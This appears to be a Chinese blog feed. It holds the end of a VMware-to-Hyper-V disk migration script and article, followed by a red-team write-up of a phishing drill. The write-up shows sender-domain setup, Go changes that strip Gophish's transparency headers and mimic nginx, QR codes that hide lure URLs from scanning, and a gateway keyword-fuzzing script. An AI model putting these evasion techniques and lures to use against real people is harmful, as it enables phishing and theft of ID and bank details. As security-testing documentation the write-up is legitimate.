        subprocess.run(['qemu-img', '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        print("[+] qemu-img 已安装，状态正常。")
    except FileNotFoundError:
        print("[-] 错误：找不到 'qemu-img' 命令。")
        print("    请确保您已经安装了 QEMU 并将其添加到了系统的 PATH 环境变量中。")
        print("    下载地址: https://qemu.weilnetz.de/w64/")
        sys.exit(1)
    
    # 检查管理员权限
    if not is_admin():
        print("[!] 警告：当前未以管理员权限运行！")
        print("    执行 `fsutil sparse setflag` 命令可能需要管理员权限。")
        print("    建议您以管理员身份重新运行此终端/控制台，或者忽略此警告继续。")
        choice = input("    是否继续运行？(y/n) [n]: ").strip().lower()
        if choice != 'y':
            sys.exit(0)
    else:
        print("[+] 管理员权限检查通过。")

def find_vmdk_files():
    print("\n[*] 正在全盘深度扫描存在的虚拟机配置文件 (.vmx) ... (这可能需要几分钟，请耐心等待)")
    drives = [chr(x) + ':\\' for x in range(ord('C'), ord('Z')+1) if os.path.exists(chr(x) + ':\\')]
    
    vmdk_targets = []
    
    # 我们首选寻找 .vmx 配置文件，从而定位主磁盘，这样可以避免被数百个拆分文件淹没
    for drive in drives:
        print(f"    正在扫描 {drive} 驱动器...")
        # 排除一些系统和缓存目录加速搜索
        exclude_dirs = ['$Recycle.Bin', 'Windows', 'Program Files', 'Program Files (x86)', 'ProgramData', 'AppData']
        
        for root, dirs, files in os.walk(drive):
            dirs[:] = [d for d in dirs if d not in exclude_dirs]
            
            for file in files:
                if file.endswith('.vmx'):
                    vmx_path = os.path.join(root, file)
                    try:
                        with open(vmx_path, 'r', encoding='utf-8', errors='ignore') as f:
                            content = f.read()
                            # 尝试解析 scsi0:0.fileName 等常见的磁盘挂载点
                            match = re.search(r'fileName\\s*=\\s*"([^"]+\\.vmdk)"', content)
                            if match:
                                vmdk_name = match.group(1)
                                full_vmdk_path = os.path.join(root, vmdk_name)
                                full_vmdk_path = os.path.normpath(full_vmdk_path)
                                if os.path.exists(full_vmdk_path):
                                    vmdk_targets.append(full_vmdk_path)
                    except Exception as e:
                        pass
                        
                # 同时也寻找一下独立的 vmdk，但是要排除雷电模拟器和分块文件 (-s001.vmdk)
                if file.endswith('.vmdk'):
                    # 过滤掉常见的拆分文件特征 (-s001.vmdk, -f001.vmdk, -flat.vmdk 等)
                    if re.search(r'-(s\\d{3}|f\\d{3}|flat|\\d+)\\.vmdk$', file.lower()):
                        continue
                    if 'ldplayer' in root.lower() or 'leidian' in root.lower():
                        continue
                        
                    full_vmdk_path = os.path.join(root, file)
                    # 去重，如果前面通过 vmx 已经找到了这个，就不再添加
                    if full_vmdk_path not in vmdk_targets:
                         vmdk_targets.append(full_vmdk_path)

    # 去重
    vmdk_targets = list(set(vmdk_targets))
    return vmdk_targets

def convert_vmdk(vmdk_path):
    print(f"\n[{'='*50}]")
    print(f"[*] 开始处理: {vmdk_path}")
    
    vmdk_path_obj = Path(vmdk_path)
    base_dir = vmdk_path_obj.parent
    base_name = vmdk_path_obj.stem
    
    vhdx_name = f"{base_name}.vhdx"
    vhdx_path = base_dir / vhdx_name
    
    # 冲突处理：如果 vhdx 已存在，添加自动编号
    counter = 1
    while vhdx_path.exists():
        vhdx_name = f"{base_name}_{counter}.vhdx"
        vhdx_path = base_dir / vhdx_name
        counter += 1
        
    print(f"[*] 目标输出: {vhdx_path}")
    
    # 第一步：转换磁盘格式 (qemu-img)
    cmd_convert = ['qemu-img', 'convert', '-p', '-f', 'vmdk', '-O', 'vhdx', str(vmdk_path), str(vhdx_path)]
    print(f"[*] [1/2] 正在进行动态扩展格式转换 (这可能需要较长时间，请不要关闭窗口)...")
    print(f"    > {' '.join(cmd_convert)}")
    
    try:
        # 使用 stdout=None 可以直接将 qemu-img 的进度输出到控制台
        subprocess.run(cmd_convert, check=True)
        print("[+] 格式转换完成！")
    except subprocess.CalledProcessError as e:
        print(f"[-] qemu-img 转换失败。错误码: {e.returncode}")
        # 如果转换失败了，没必要继续执行 fsutil
        return False
    except FileNotFoundError:
        print("[-] 系统中未找到 qemu-img 命令。")
        return False
        
    # 第二步：去除稀疏属性 (fsutil sparse setflag)
    cmd_fsutil = ['fsutil', 'sparse', 'setflag', str(vhdx_path), '0']
    print(f"[*] [2/2] 正在优化磁盘属性 (移除稀疏标记)...")
    print(f"    > {' '.join(cmd_fsutil)}")
    
    try:
        result = subprocess.run(cmd_fsutil, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.returncode == 0:
            print("[+] 优化成功！已成功去除稀疏属性标记。")
        else:
             print(f"[-] fsutil 执行遇到问题 (可能是由于权限不足或不支持该特性):")
             print(f"    输出信息: {result.stderr.strip()}")
    except FileNotFoundError:
        print("[-] 未在系统中找到 fsutil 命令，跳过属性修改环节。")

    print(f"[+] '{base_name}' 的全部迁移步骤完成！")
    print(f"    准备就绪的 Hyper-V 磁盘文件位于: {vhdx_path}")
    print(f"[{'='*50}]")
    return True


def main():
    print("=====================================================")
    print("      VMware (VMDK) 到 Hyper-V (VHDX) 智能迁移工具      ")
    print("=====================================================\n")
    
    check_dependencies()
    
    print("\n请选择您的操作模式：")
    print(" 1. 自动全盘扫描您本地的 VMware 虚拟机 (推荐)")
    print(" 2. 手动指定一个 .vmdk 文件路径")
    
    try:
        mode = input("\n请输入您的选择 [1]: ").strip()
    except KeyboardInterrupt:
        sys.exit(0)
        
    if mode == '2':
        manual_path = input("请输入 .vmdk 文件的绝对路径（可以包含引号）: ").strip()
        manual_path = manual_path.strip('"').strip("'")
        if os.path.exists(manual_path) and manual_path.lower().endswith('.vmdk'):
            convert_vmdk(manual_path)
        else:
            print("[-] 错误：文件不存在或不是 .vmdk 文件。")
            
    else:
        vmdks = find_vmdk_files()
        
        if not vmdks:
            print("\n[-] 没有在您的磁盘上找到可识别的、主要的 .vmdk 文件。")
            print("    您可以尝试直接使用模式 2 手动输入路径来进行转换。")
            sys.exit(0)
            
        print("\n\n[*] 扫描完成！找到以下可转换的虚拟磁盘（已排除碎片文件）：")
        print("-" * 70)
        for i, vmdk in enumerate(vmdks, 1):
            file_size_gb = os.path.getsize(vmdk) / (1024**3)
            print(f" [{i}] {os.path.basename(vmdk)} (主索引大小/结构大小: {file_size_gb:.4f} GB)")
            print(f"     路径: {vmdk}")
            print("-" * 70)
            
        print("\n请输入您要转换的磁盘序号。")
        print(" (支持多选，用逗号分隔，例如：1, 3, 5。 输入 'all' 转换全部，输入 'q' 退出)")
        
        try:
            choice = input("\n您的选择: ").strip().lower()
        except KeyboardInterrupt:
            sys.exit(0)
            
        if choice == 'q' or not choice:
            print("已取消退出。")
            sys.exit(0)
            
        selected_indexes = []
        if choice == 'all':
            selected_indexes = list(range(1, len(vmdks) + 1))
        else:
            try:
                # 解析用户输入的数字列表，如 '1,2,3' -> [1, 2, 3]
                parts = choice.split(',')
                for p in parts:
                    idx = int(p.strip())
                    if 1 <= idx <= len(vmdks):
                        selected_indexes.append(idx)
            except ValueError:
                print("[-] 您的输入格式有误，请重新运行脚本。")
                sys.exit(1)
                
        if not selected_indexes:
            print("[-] 未选择任何有效的序号。程序退出。")
            sys.exit(1)
            
        print(f"\n[*] 您选择了 {len(selected_indexes)} 个虚拟机进行排队转换。")
        for idx in selected_indexes:
            target_vmdk = vmdks[idx - 1]
            convert_vmdk(target_vmdk)
            
    print("\n[+] 所有指定的任务已运行完毕。")

从文章角度看，这段脚本最有价值的地方，不是代码技巧有多复杂，而是它把“找入口文件”这件最容易出错的事自动化了。很多人迁移失败，问题不在转换命令本身，而是在最开始就拿错了 .vmdk。

十一、迁移到 Hyper-V 之前，建议先做这几个检查

这部分很基础，但很有用，能帮你少踩很多坑。

1. 先备份原始虚拟机目录

不要一边转换，一边删除 VMware 原文件。至少在 Hyper-V 那边确认能正常开机前，原始目录都应该保留着。

2. 尽量关闭或合并不必要的快照

快照链越复杂，迁移时出错的概率越高。能在 VMware 里先整理好的，尽量先整理。

3. 记下原系统的启动方式

如果你知道它原来是 BIOS 还是 UEFI，后面在 Hyper-V 创建代数时会省很多事。

4. 确认网络方案

Hyper-V 的网络交换机分为外部、内部、专用几种。很多人第一次用时会卡在这里。

简单理解：

外部交换机：虚拟机能直接出网
内部交换机：主机和虚拟机能互通，但默认不直接连外网
专用交换机：虚拟机之间互通，主机不参与

如果你迁移的是实验环境、分析环境或者恶意样本测试环境，内部交换机通常是一个更稳妥的起点。

十二、如果只是入门，应该怎么选

最后把结论说得直白一点。

如果你是下面这种情况，继续用 VMware 往往更省心：

想快速装个虚拟机就开始用
旧镜像很多，而且一直运行正常
没有强烈的 Windows 原生整合需求

如果你是下面这种情况，Hyper-V 更值得投入：

你的工作环境本来就围绕 Windows 生态
你需要和 WSL2、Sandbox、Windows 安全能力协同
你打算长期维护一套更偏原生的 Windows 虚拟化方案

真正重要的不是“谁更高级”，而是你现在的工作流更适合谁。

十三、一个适合新手的理解方式

如果你还是觉得抽象，可以把两者理解成：

VMware Workstation 更像一套成熟、独立、面向个人桌面的虚拟机工具
Hyper-V 更像 Windows 体系内建的虚拟化基础设施

前者强调“拿来就用”，后者强调“和系统深度协同”。

这也是为什么很多人一开始更喜欢 VMware，但随着开发、测试、运维、安全研究的工作逐渐深入，最后又会回到 Hyper-V。

不是因为前者突然不好用了，而是因为后者在某些 Windows 场景下，确实更顺手。

结语

如果只用一句话来概括这篇文章，那就是：

从 VMware 迁移到 Hyper-V，不只是换一个软件图标，而是在切换一套虚拟化思路。

为什么两边架构不同
为什么 VMware 会有那么多形态各异的 VMDK
为什么转换后还要关心启动方式、代数和文件属性

把这些基础认知补上之后，迁移这件事就不会再显得很玄学。很多看起来复杂的问题，最后也只是“选错了入口文件”或者“代数选错了”这么简单。

关于Gophish：从二次开发到语义Fuzz的实战之路

Sun, 01 Feb 2026 00:00:00 GMT

0x00 项目背景与前提

0.1 项目场景

最近接了个钓鱼演练的活，整的焦头烂额，连续爆肝两天，我的主要目标是通过社会工程学手段测试企业员工的安全意识和邮件网关的防护能力。客户环境如下：

目标规模: 5000+ 员工，多个事业部
邮件系统: coremail
防护措施: 未知

0.2 初始工具选择

作为穷人，公司也并没有提供商业工具，我选择了 Gophish 作为基础钓鱼平台，原因如下：

✅ 开源且成熟稳定
✅ 支持完整的项目管理
✅ 内置邮件追踪和统计
✅ Go语言开发，便于二次开发

0.3 面临的核心挑战

然而，直接使用原版Gophish进行测试时，我遇到了100%的拦截率：

测试结果（Day 1）:
├─ 发送邮件: 50 封
├─ 成功投递: 0 封
├─ 被拦截: 50 封
└─ 拦截原因: "Suspected phishing activity detected"

0x01 发件基础设施搭建：从失败到可信域绕过

在正式进行钓鱼测试前，我首先需要解决邮件投递问题。

1.1 第一次尝试：Postfix SMTP（失败）

初始方案

最开始，我尝试使用自建Postfix邮件服务器直接发送钓鱼邮件：
（至于为什么不用ewomail，网上都推荐的这个，因为不是centos，没办法跑，直接找了最简单的进行测试了。）

# Postfix配置（Ubuntu 20.04）
sudo apt-get install postfix

# 基础配置
myhostname = mail.phishing-domain.com
mydomain = phishing-domain.com
myorigin = $mydomain

# 这里我并没有配置真实的DNS MX记录，直接伪造的一个相近邮箱进行发送测试。

测试结果

QQ邮箱通过。

163邮箱通过。

189邮箱失败，550。

客户给的测试邮箱失败 550。

日志输出：

Dec 28 10:23:45 postfix/smtp[12345]: connect to mx.189.cn[1.2.3.4]:25: Connection timed out
Dec 28 10:24:12 postfix/smtp[12345]: 550 5.7.1 Message rejected due to poor sender reputation

猜测失败原因：

| 问题 | | 189网关判定 | | --- | --- | --- | | IP信誉低 | | 垃圾邮件发送源 | | 无SPF记录 | | 伪造发件人 | | 无DKIM签名 | | 身份不可信 | | 域名年龄新 | | 钓鱼域名特征 | | 反向DNS缺失 | | 非正规邮件服务器 |

投递率：0% （全部被189网关在SMTP握手阶段拒绝）

1.2 第二次尝试：Zoho企业邮箱（成功）

解决思路

既然自建服务器信誉不足，我决定借助成熟的企业邮箱服务：

选择Zoho Mail：免费企业邮箱，支持自定义域名
域名准备：购买类似域名，没要求就以便宜的为主了
完整配置：SPF、DKIM、DMARC三件套

Zoho邮箱配置过程

步骤1：注册Zoho企业邮箱

1. 访问 https://www.zoho.com/mail/
2. 选择免费版（支持最多5个邮箱账户）
3. 验证域名所有权（DNS TXT记录验证）

步骤2：配置DNS记录

# 1. MX记录（指向Zoho服务器）
@  IN  MX  10  mx.zoho.com.
@  IN  MX  20  mx2.zoho.com.
@  IN  MX  50  mx3.zoho.com.

# 2. SPF记录（授权Zoho代发）
@  IN  TXT  "v=spf1 include:zoho.com ~all"

# 3. DKIM记录（邮件签名公钥）
zmail._domainkey  IN  TXT  "v=DKIM1; k=rsa; p=MIGfMA0GCSqGDQEBAQUAA4GNADCBiQKBgQC..."

# 4. DMARC记录（域名邮件政策）
_dmarc  IN  TXT  "v=DMARC1; p=none; rua=mailto:dmarc@example.com"

步骤3：验证配置

# 检查SPF记录
dig TXT phishing-domain.com +short
# 输出: "v=spf1 include:zoho.com ~all"

# 检查DKIM记录
dig TXT zmail._domainkey.phishing-domain.com +short
# 输出: "v=DKIM1; k=rsa; p=MIGfMA0GCS..."

# 检查DMARC记录
dig TXT _dmarc.phishing-domain.com +short
# 输出: "v=DMARC1; p=none; rua=mailto:dmarc@example.com"

步骤4：创建发件账户

邮箱地址: hr@phishing-domain.com
显示名称: 人力资源部
签名: 人力资源部 | phishing-domain.com

测试结果（可信域绕过成功）

第一轮测试：纯文本邮件

# 使用Zoho SMTP发送测试
import smtplib
from email.mime.text import MIMEText

msg = MIMEText("这是一封测试邮件", 'plain', 'utf-8')
msg['From'] = 'hr@phishing-domain.com'
msg['To'] = 'target@189.cn'
msg['Subject'] = '测试通知'

server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
server.login('hr@phishing-domain.com', 'password')
server.send_message(msg)
server.quit()

结果：

SMTP响应: 250 OK
189网关验证: SPF PASS, DKIM PASS
投递状态: 成功投递至收件箱

重大突破：通过Zoho企业邮箱 + SPF/DKIM/DMARC配置，189是可以收到邮件的。

正当我以为一切都结束的时候，给客户发，得到的回复依然是收不到。

‍

1.3 第三次尝试：钓鱼模板发送（再次失败）

虽然可信域问题解决了，但当我发送真实钓鱼内容时，又遇到了新的拦截：

测试邮件（含钓鱼内容）

From: hr@phishing-domain.com
To: target@189.cn
Subject: 【重要】2025年终奖发放通知

各位同事，您好：

现正式启动年终奖金发放信息核对工作！

请点击以下链接登录系统核对您的身份证号和银行卡信息：
http://portal.phishing-domain.com/verify?id=xxx

人力资源部
2025年12月28日

测试结果

>>> MAIL FROM:<hr@phishing-domain.com>
<<< 250 OK
>>> RCPT TO:<target@189.cn>
<<< 250 OK
>>> DATA
<<< 354 Start mail input
>>> [发送邮件内容...]
<<< 550

这就很有意思了，众所周知大企业一般布有企业级邮件网关，那么他邮件网关到底是拦截的什么，是什么策略？这些我们都不得而知，只有一点点fuzz了。

猜测失败原因：

| 检测层 | 结果 | 详情 | | --- | --- | --- | | ✅ SPF验证 | PASS | Zoho授权发送 | | ✅ DKIM验证 | PASS | 邮件签名有效 | | ✅ 域名信誉 | PASS | Zoho企业邮箱可信 | | ❌ 内容检测 | FAIL | 触发关键词过滤 |

猜测被拦截的关键词：

❌ 主题: "年终奖"
❌ 正文: "年终奖金"、"身份证号"、"银行卡"
❌ 行为: "请点击链接"
❌ URL: "verify"路径

1.4 阶段性总结

经过几轮尝试，我得出以下结论：

已解决的问题

可信域检测 → 通过Zoho企业邮箱 + SPF/DKIM/DMARC配置绕过
IP信誉问题 → 使用Zoho的可信IP池
SMTP握手 → 正常完成，不会在连接阶段被拒绝

仍存在的问题

内容关键词检测 → 189网关对邮件内容进行深度扫描
钓鱼模式识别 → "点击链接+验证信息"等模式被识别
URL路径检测 → "verify"、"login"等路径触发拦截

下一步策略

既然可信域问题已解决，但内容仍被拦截，我需要：

对Gophish进行二次开发，去除工具指纹。
继续FUZZ邮件内容找到网关盲区。

这也是本文后续章节的核心内容。

0x02 二次开发阶段：去指纹化改造

2.1 指纹分析

通过我能够发送成功的邮箱获取到未改造前的eml，我识别出以下Gophish特征：

邮件头特征

X-Gophish-Contact: ...
X-Mailer: gophish
X-Gophish-Signature: ...
Message-ID: <...@gophish>

‍

URL特征

http://phish.test/?rid=aBc123

服务端特征

// 原始代码 controllers/phish.go
const ServerName = "gophish"

// HTTP响应头
Server: gophish

2.2 改造策略

感觉特征有点多，基于分析结果，决定先把Gophish本身的特征改一下。

改造清单

| 模块 | 原始特征 | 改造方案 | 文件位置 | | --- | --- | --- | --- | | 邮件头 | X-Gophish-* | 完全移除或伪造成业务头 | models/email_request.go | | Mailer | X-Mailer: gophish | 伪造成常见邮件客户端 | models/email_request.go | | 服务端 | Server: gophish | 移除或伪装成Nginx | config/config.go | | 追踪路由 | /track | → /resource/image/pixel.png | controllers/route.go | | 上报路由 | /report | → /api/v1/status | controllers/route.go | | 静态资源 | gophish.css | → app.css | static/, templates/ | | 404页面 | Gophish默认页面 | 伪造Nginx 404 | controllers/phish.go |

核心代码改造

1. 移除服务端标识

// config/config.go
type Config struct {
    AdminConf AdminServer   `json:"admin_server"`
    PhishConf PhishServer   `json:"phish_server"`
    // ServerName string     // 🔥 直接删除此字段
}

2. 邮件头特征处理

对比原版Gophish和修改后的版本：

// models/email_request.go - Generate()函数

 func (s *EmailRequest) Generate(msg *gomail.Message) error {
     // ... 前置代码 ...
     
-    // 原版Gophish：添加透明度标识头
-    msg.SetHeader("X-Mailer", config.ServerName)  // "gophish"
-    if conf.ContactAddress != "" {
-        msg.SetHeader("X-Gophish-Contact", conf.ContactAddress)
-    }
     
+    // 改进方案：完全不设置Gophish特征头
+    // 替代方案：添加常见的业务邮件头
+    msg.SetHeader("X-Priority", "1")
+    msg.SetHeader("Importance", "High")
+    msg.SetHeader("MIME-Version", "1.0")
     
     // 解析自定义邮件头（用户可配置）
     for _, header := range s.SMTP.Headers {
         key, err := ExecuteTemplate(header.Key, ptx)
         value, err := ExecuteTemplate(header.Value, ptx)
         msg.SetHeader(key, value)
     }
     
     // ... 后续代码 ...
 }

关键改动：

不设置 X-Mailer: gophish
不设置 X-Gophish-Contact
不设置 X-Gophish-Signature
添加 X-Priority: 1（提升邮件优先级）
添加 Importance: High（标记重要邮件）会在邮箱里面自主设置为红色叹号
保留用户自定义邮件头功能（SMTP配置中可添加）

说明：

原版Gophish出于"透明度"考虑，会主动添加X-Gophish-*头标识自己
我的改进方案是完全不设置这些头，让邮件看起来像普通业务邮件
通过添加X-Priority和Importance头，模仿Outlook等客户端发送的重要邮件

3. 混淆追踪路由

// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 原始路由：router.HandleFunc("/track", ps.TrackHandler)
    // 新路由：伪装成静态资源
    router.HandleFunc("/resource/image/pixel.png", ps.TrackHandler)
    
    // 原始路由：router.HandleFunc("/report", ps.ReportHandler)  
    // 新路由：伪装成API端点
    router.HandleFunc("/api/v1/status", ps.ReportHandler)
    
    // 添加伪造的404处理
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
}

4. 伪造Nginx 404页面

// controllers/phish.go
func (ps *Server) FakeNginx404(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Server", "nginx/1.18.0")
    w.Header().Set("Content-Type", "text/html")
    w.WriteHeader(404)
    
    html := `<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        h1 { font-size: 50px; }
    </style>
</head>
<body>
    <h1>404 Not Found</h1>
    <p>nginx/1.18.0</p>
</body>
</html>`
    
    w.Write([]byte(html))
}

5. 修改参数名称

// models/campaign.go
// 将追踪参数从 rid 改为更常见的 id
const RecipientParameter = "id"  // 原: "rid"

6. 动态QR码功能开发（借鉴EvilGophish）

这是一个新增的需求。

在测试过程中，猜测如果超链接被拦截，那就是检测的明文URL，于是借鉴了EvilGophish项目，实现了动态QR码生成和CID嵌入功能。

与原版Gophish的区别

原版Gophish的CID支持（已有功能）：

// models/maillog.go - Gophish原版
var embeddedFileExtensions = []string{".jpg", ".jpeg", ".png", ".gif"}

func addAttachment(msg *gomail.Message, a Attachment, ...) {
    if shouldEmbedAttachment(a.Name) {
        msg.Embed(a.Name, copyFunc)  // 🔹 静态CID嵌入
    } else {
        msg.Attach(a.Name, copyFunc)
    }
}

使用方式：

在模板编辑器中上传静态图片（如logo.png）
在HTML中使用<img src="cid:logo.png">
限制：所有收件人看到相同的图片（问题就来了，没有办法追踪谁点击了）

改进（基于EvilGophish）：

//  动态生成每个收件人的专属QR码
func NewPhishingTemplateContext(...) {
    qrSize := ctx.getQRSize()
    if qrSize != "" {
        //  关键：根据收件人ID动态生成QR码
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = "<img src=\"cid:\" + qrName + "\">"
    }
    return PhishingTemplateContext{
        QR: qr,  //  每个收件人不同的QR码
    }
}

核心区别：

| 特性 | 原版Gophish | EvilGophish改进 | | --- | --- | --- | | CID嵌入 | 支持 | 支持 | | 图片类型 | 静态附件 | 动态生成QR码 | | 个性化 | 所有人相同 | 每人专属（含个人ID） | | URL跟踪 | 无法追踪 | QR码包含rid参数 |

为什么需要动态QR码？

根据EvilGophish和相关研究，QR码在钓鱼中具有独特优势：

隐藏明文URL - URL被编码为二维码图片，邮件网关的URL检测和沙箱分析无法直接提取
提升可信度 - 企业邮件（年终奖、考勤）常用二维码，符合用户认知
绕过桌面安全 - 用户用手机扫描，手机浏览器安全警告较弱
绕过过滤器 - QR码是图片，不包含文本链接

实现过程（参考EvilGophish）

// models/template_context.go

type PhishingTemplateContext struct {
    From        string
    URL         string
    QRBase64    string  //  新增：QR码Base64
    QRName      string  //  新增：QR码CID名称  
    QR          string  //  新增：QR码HTML
    BaseRecipient
}

func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
    // ... 前置代码 ...
    
    // 生成QR码
    qrSize := ctx.getQRSize()
    if qrSize != "" {
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = "<img src=\"cid:" + qrName + "\">"
    }
    
    return PhishingTemplateContext{
        QR: qr,  // 模板中使用 {{.QR}}
    }, nil
}

邮件中使用

<p>请扫描下方二维码登录：</p>
{{.QR}}

生成的邮件结构：

multipart/related
  ├─ multipart/alternative
  │   ├─ text/plain
  │   └─ text/html (<img src="cid:427968.png">)
  └─ image/png (CID: 427968.png，Base64编码QR码)

CID嵌入 vs 远程加载对比

方案1：CID内嵌（我们采用）

<!-- 邮件HTML -->
<img src="cid:427968.png">

<!-- 邮件结构 -->
Content-Type: multipart/related
  ├─ text/html
  └─ image/png
     Content-ID: <427968.png>
     Content-Transfer-Encoding: base64

方案2：远程加载（不推荐）

<!-- 邮件HTML -->
<img src="http://your-server.com/qrcode.png?id=xxx">

<!-- 邮件结构 -->
Content-Type: text/html
（图片存储在服务器，需HTTP加载）

对比分析

| 特性 | CID内嵌 | 远程加载 | 优势方 | | --- | --- | --- | --- | | 避免"显示图片"提示 | ✅ 直接显示 | ❌ 需用户点击 | CID | | 隐藏服务器地址 | ✅ 无URL | ❌ 暴露域名 | CID | | 加载速度 | ✅ 即时显示 | ❌ 依赖网络 | CID | | 提升可信度 | ✅ 图片完整 | ❌ 可能显示占位符 | CID | | 邮件网关检测 | ✅ 仅检测Base64 | ❌ 检测外部URL | CID | | 追踪能力 | ❌ 无法追踪打开 | ✅ 可追踪加载 | 远程 | | 邮件大小 | ❌ 较大（含图片） | ✅ 较小 | 远程 |

关键优势解析

避免邮件客户端安全机制

Gmail/Outlook默认行为：
- 远程图片：显示"点击显示图片"横幅 
- CID图片：直接渲染，无需用户操作

隐藏钓鱼服务器地址

<!-- 远程加载：暴露服务器 -->
<img src="http://phishing-server.com/qr.png">
↓
邮件网关可直接扫描 phishing-server.com

<!-- CID嵌入：无URL暴露 -->
<img src="cid:427968.png">
↓
邮件网关只能看到Base64编码的PNG数据

提升邮件真实性
- 远程图片：收件人需要主动点击"显示图片"，增加怀疑
- CID图片：邮件打开即完整显示，符合正常企业邮件习惯。

‍

0x03 困境：FUZZ机制

3.1 新的拦截机制

其实做到上面的的工作，大部分情况下可以操作了，但是我仍然处于被拦截的情况，因为是黑盒测试，我无法收到邮件的反馈，只能按语义检测进行尝试绕过了：

邮件网关的语义检测机制

┌─────────────────────────────────┐
│   入站邮件                      │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   基础验证层                    │
│   • SPF/DKIM/DMARC              │
│   • IP信誉检查                  │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   特征检测层（已绕过）         │
│   • 邮件头指纹                  │
│   • 已知钓鱼域名                │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│  语义分析层（可能是当前拦截点）   │
│   • NLP关键词检测               │
│   • 钓鱼模式匹配                │
│   • 上下文异常分析              │
└─────────────────────────────────┘

拦截案例分析

我被拦截的邮件样本：

主题: 【重要】员工门户系统升级通知

尊敬的员工:

您好！为了提升系统安全性，IT部门将于本周末对员工门户进行升级。

请点击以下链接验证您的账户信息:
https://portal-verify.test/api/v1/status?id=xxx

如有疑问，请联系IT支持部门。

此致
IT部门

拦截原因分析：

具有引导性词汇: "重要"、"升级"、"验证"
行动引导: "请点击"
案例模板: "验证账户信息"是经典钓鱼话术

3.2 心路历程

此时我陷入了困境：如果单纯的是关键字检测，这个模板是客户定的，一时半会重改不太现实，等于说是模板改不了的情况下要如何实现发送。

我不知道邮件网关的确切检测规则，纯粹靠猜测和试错。

拦截原因猜测：

| 检测层 | 触发点 | 详情 | | --- | --- | --- | | 邮件头检测 | 通过 | X-Mailer、Subject编码正常 | | 纯文本检测 | 通过 | text/plain部分无敏感词 | | HTML内容检测 | 拦截 | 检测到明文"年终奖金"、"身份证"、"银行卡" | | URL检测 | 拦截 | 路径包含"verify"、"status" | | 行为模式 | 拦截 | "点击链接"+"验证信息"模式 |

啥也不清楚，就此开蒙。

3.3 单变量Fuzz：定位拦截触发点

在知道邮件被拦截后，我需要精确定位到底是什么触发了189网关的拦截。

单变量测试方法

基于smtp_block_tester.py脚本：

# 单变量Fuzz测试脚本
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import time

def send_fuzz_test(subject, body, test_name):
    """发送单变量测试邮件"""
    msg = MIMEMultipart()
    msg['From'] = 'hr@phishing-domain.com'
    msg['To'] = 'target@189.cn'
    msg['Subject'] = subject
    msg.attach(MIMEText(body, 'html', 'utf-8'))
    
    try:
        server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
        server.login('hr@phishing-domain.com', 'password')
        server.send_message(msg)
        server.quit()
        print(f"[✓] {test_name}: 发送成功 - 等待检查收件箱")
        return "SUCCESS"
    except smtplib.SMTPDataError as e:
        print(f"[✗] {test_name}: 被拦截 - {e.smtp_code}")
        return "BLOCKED"

# 关键：单变量测试用例
fuzz_tests = [
    # 测试0：基线（纯安全内容）
    {
        "name": "基线-纯文本",
        "subject": "测试会议通知",
        "body": "这是一封普通的会议通知，请确认收到。"
    },
    
    # 测试1：添加超链接（不含敏感路径）
    {
        "name": "添加安全超链接",
        "subject": "测试会议通知",
        "body": "请点击这里：<a href='http://example.com'>点击这里</a>"
    },
    
    # 测试2：添加"年终奖"关键词（无链接）
    {
        "name": "添加年终奖关键词",
        "subject": "测试会议通知",
        "body": "请点击查看您的2025年终奖明细。"
    },
    
    # 测试3：添加"身份证/银行卡"关键词
    {
        "name": "添加身份证银行卡",
        "subject": "测试会议通知",
        "body": "请核对您的银行卡号和身份证信息是否正确。"
    },
    
    # 测试4：组合测试（关键词+链接）
    {
        "name": "关键词+链接组合",
        "subject": "测试会议通知",
        "body": "请点击查看您的年终奖：<a href='http://example.com'>点击这里</a>"
    },
    
    # 测试5：主题含敏感词
    {
        "name": "主题含年终奖",
        "subject": "2025年终奖发放通知",
        "body": "这是一封普通的会议通知，请确认收到。"
    }
]

# 执行测试
for test in fuzz_tests:
    print(f"\n[*] 正在测试: {test['name']}")
    result = send_fuzz_test(test['subject'], test['body'], test['name'])
    
    if result == "BLOCKED":
        print(f"\n!!! 发现拦截触发点: {test['name']}")
        print(f"    Subject: {test['subject']}")
        print(f"    Body: {test['body'][:50]}...")
        break
    
    time.sleep(5)

测试结果分析;

[测试0] 基线-纯文本
Subject: 测试会议通知
Body: 这是一封普通的会议通知
Result: ✅ 成功投递

[测试1] 添加安全超链接
Subject: 测试会议通知  
Body: 请点击这里：<a href='http://example.com'>点击这里</a>
Result: ✅ 成功投递

[测试2] 添加年终奖关键词
Subject: 测试会议通知
Body: 请点击查看您的2025年终奖明细。
Result: ❌ 被拦截 (554错误码)

[测试3] 添加身份证银行卡
Subject: 测试会议通知
Body: 请核对您的银行卡号和身份证信息
Result: ❌ 被拦截 (554错误码)

[测试5] 主题含年终奖
Subject: 2025年终奖发放通知
Body: 这是一封普通的会议通知
Result: ❌ 被拦截 (554错误码)

关键发现

通过单变量Fuzz测试，定位了189网关的拦截规则：

| 测试变量 | 是否拦截 | 结论 | | --- | --- | --- | | 纯文本 | 否 | 基线通过 | | 普通超链接 | 否 | 链接本身不触发拦截 | | "年终奖" | 是 | 敏感词触发点1 | | "身份证/银行卡" | 是 | 敏感词触发点2 | | 主题含"年终奖" | 是 | 主题也会被检测 | | "请点击" | 否 | 单独不触发 |

核心结论：

关键词检测优先级最高：无论在主题还是正文，"年终奖"、"身份证"、"银行卡"都会立即触发拦截
超链接本身安全：普通HTTP链接不会触发拦截
组合拦截机制：虽然"请点击"单独不触发，但"请点击链接+敏感词"会提升拦截优先级

下一步策略

既然定位到了明文关键词检测是核心拦截点，接下来可以做的是：

